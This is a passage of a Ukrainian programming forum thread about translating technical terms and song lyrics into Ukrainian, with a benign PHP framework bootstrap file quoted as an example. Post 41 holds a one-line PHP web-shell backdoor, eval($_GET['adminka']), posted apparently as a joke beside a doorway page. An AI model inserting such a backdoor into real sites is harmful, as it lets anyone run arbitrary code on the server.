41

Re: Як перекласти на українську

А наведіть хтось правило на такі випадки?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

42

Re: Як перекласти на українську

Invader написав:

Superglobal. Суперглобальний чи супер-глобальний.

це справа не перекладу, а правил українського правопису
такі приставки пишуться разом

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

43 Востаннє редагувалося FakiNyan (10.10.2014 18:16:00)

Re: Як перекласти на українську

нумо перекладати пісень
http://puu.sh/c6RVk/cde826e66d.png
на тому сайті не мона було копіювати текст, а влазити в хтмл та видаляти зайві теги мені було ліньки xdd
отам два слова є незрозумілі, то воно чується наче так, як написано, але що то за слово - хз, не змогли розслухати хлопці

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

44

Re: Як перекласти на українську

wimps...

стіни води змивають наївність (невинність?)
чудесна повінь розрізає плоть
порядок здвигається в повсть рядків - зміни в усьому
зіткнен6ня жертв ніби вони були реальними загрозами - Єресь
параноїдальні ілюзії приводять до найвищої сходинки еволюції
Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: FakiNyan1

45

Re: Як перекласти на українську

а як буде англійською "Був, є і буде"
Невже, "was, is and will " :D  :D  :D

Навчаюсь вчитись, щоб навчатись.

46

Re: Як перекласти на українську

Q-bart написав:

а як буде англійською "Був, є і буде"
Невже, "was, is and will " :D  :D  :D

was, is and will be

private void life(int time_of_sleep=min, ...)
Cogito, ergo sum.

47

Re: Як перекласти на українську

it lived, it alive, it will live

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Q-bart1

48

Re: Як перекласти на українську

Але я дуже сумніваюсь що там буде кома, оскільки в English поява коми в реченні це таке рідкісне видовище.

private void life(int time_of_sleep=min, ...)
Cogito, ergo sum.

49

Re: Як перекласти на українську

0xDADA11C7 написав:

it lived, it alive, it will live

it lived, it is alive, it will live

private void life(int time_of_sleep=min, ...)
Cogito, ergo sum.
Подякували: 0xDADA11C71

50

Re: Як перекласти на українську

Якщо перекладати літературно, то
It did, does and will exist.

Подякували: 0xDADA11C7, Q-bart2

51

Re: Як перекласти на українську

https://www.google.ca/search?q=it+%22di … nd+will%22 - перевірка в гуглі на частоту використання фрази.

52

Re: Як перекласти на українську

Як перекласти слово bootstrap?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

53 Востаннє редагувалося VTrim (18.10.2014 18:26:30)

Re: Як перекласти на українську

FakiNyan написав:

Як перекласти слово bootstrap?

завантажувальний (від boot - завантажувач)

Куди не кину оком стомленим – кругом ху…ня ©

54

Re: Як перекласти на українську

VTrim написав:
FakiNyan написав:

Як перекласти слово bootstrap?

завантажувальний (завантажувач).

в якому сенсі? завантажувач чого?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

55 Востаннє редагувалося VTrim (18.10.2014 18:37:29)

Re: Як перекласти на українську

FakiNyan написав:
VTrim написав:
FakiNyan написав:

Як перекласти слово bootstrap?

завантажувальний (завантажувач).

в якому сенсі? завантажувач чого?

Завантажувач чогось,наприклад підключення всіх системних файлів та запуск програми,підключають в файлі (bootstrap.php наприклад). Це те,шо я помітив при кодінгу. Але так,часто називають класи,файли,бібліотеки і т.д,які шось завантажують,підключають та запускають.

До прикладу bootstrap одного з PHP фреймворків.

<?php

/**
 * MVCPHP Framework
 * 
 * @copyright Copyright (c) 2013, Alexey Novitskiy
 * @author Alexey Novitskiy
 * @link http://mvcphp.ru/
 * 
 */

//подключаем файл загрузчика
include Q_PATH.'/system/classes/booter.php';

//можно использовать автолоад, вместо простыни ниже
//spl_autoload_register(array('Booter','autoload'));


foreach (Booter::boot(array(
    '/application/core/model.php',
    '/application/core/view.php',
    '/application/core/controller.php',
    '/system/classes/routing.php',
    '/system/classes/mapper.php',
    '/system/classes/functions.php',
    '/system/classes/log.php',
    '/system/config/config.php',
    '/system/config/main_routing.php',
    '/system/classes/timer.php',
    '/system/classes/database.php',
    '/system/classes/cache.php',
    '/system/classes/settings.php',
    '/system/classes/template.php',
    '/system/classes/upload.php',
    '/system/classes/picture.php',
    '/system/database/database.php',
    '/system/database/database_pdo.php',
    '/system/database/database_mysqli.php',
    '/system/database/database_mysql.php',
    '/system/database/database_sqlite.php',
    '/system/database/database_postgresql.php',
    '/system/database/database_mssql.php',
    '/system/database/database_oracledb.php',
    '/system/cache/cache.php',
    '/system/cache/cache_file.php',
    '/system/cache/cache_memcache.php',
    '/system/cache/cache_memcached.php',
    '/system/form/file_upload.php'
)) as $inc_file) {
    include $inc_file;
}


//автозагрузка и инициализация модулей
foreach (Booter::boot_modules() as $inc_file) {
    include $inc_file;
}


//загрузка основного роутера
foreach (Booter::boot(array(
    '/application/core/route.php'
)) as $inc_file) {
    include $inc_file;
}


//запускаем маршрутизатор
Route::start();
Куди не кину оком стомленим – кругом ху…ня ©
Подякували: FakiNyan1

56

Re: Як перекласти на українську

Час для перекладання пісень настав!

Прихований текст
Into the trees
Past meadow grounds
And further away from my home
Baying behind me
I hear the hounds
Flock's chasing to find me alone

A trail of sickness
Leading to me
If I am haunted
Then you will see

Searching the darkness
And emptiness
I'm hiding away from the sun
Will never rest
Will never be at ease
All my matter's expired so I run

There falls another
Vapor hands released the blade
Insane regrets at the drop
Instruments of death before me

Lose all to save a little
At your peril it's justified
And dismiss your demons
As death becomes a jest
You are the laughing stock
Of the absinthe minded
Confessions stuck in your mouth
And long gone fevers reappear

Nocturnally helpless
And weak in the light
Depending on a prayer
Pacing deserted roads to find
A seed of hope

They are the trees
Rotten pulp inside and never well
Roots sucking, thieving from my source
Tired boughs reaching for the light

It is all false pretension
Harlequin forest
Awaiting redemption for a lifetime
As they die alone
With no one by their side
Are they forgiven?

Stark determination
Poisoning the soul
Unfettered beast inside
Claiming sovereign control

And now the woods are burning
Tearing life crops asunder
Useless blackened remains
Still pyre smoldering

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

57

Re: Як перекласти на українську

хоч би гуглили спершу

З.І. ви що, Opeth слухаєте?

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: FakiNyan1

58

Re: Як перекласти на українську

Cyan написала:

хоч би гуглили спершу

З.І. ви що, Opeth слухаєте?

та я після того разу увесь джент слухаю

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

59

Re: Як перекласти на українську

ващєт, вони грають melodic death metal з нотами прогресиву, а цього не достатньо, щоб вважатись джентом

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

60

Re: Як перекласти на українську

Cyan написала:

ващєт, вони грають melodic death metal з нотами прогресиву, а цього не достатньо, щоб вважатись джентом

скажіть це чувакам з 8tracks.com, то я там вбиваю djent і знаходжу плейлисти

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...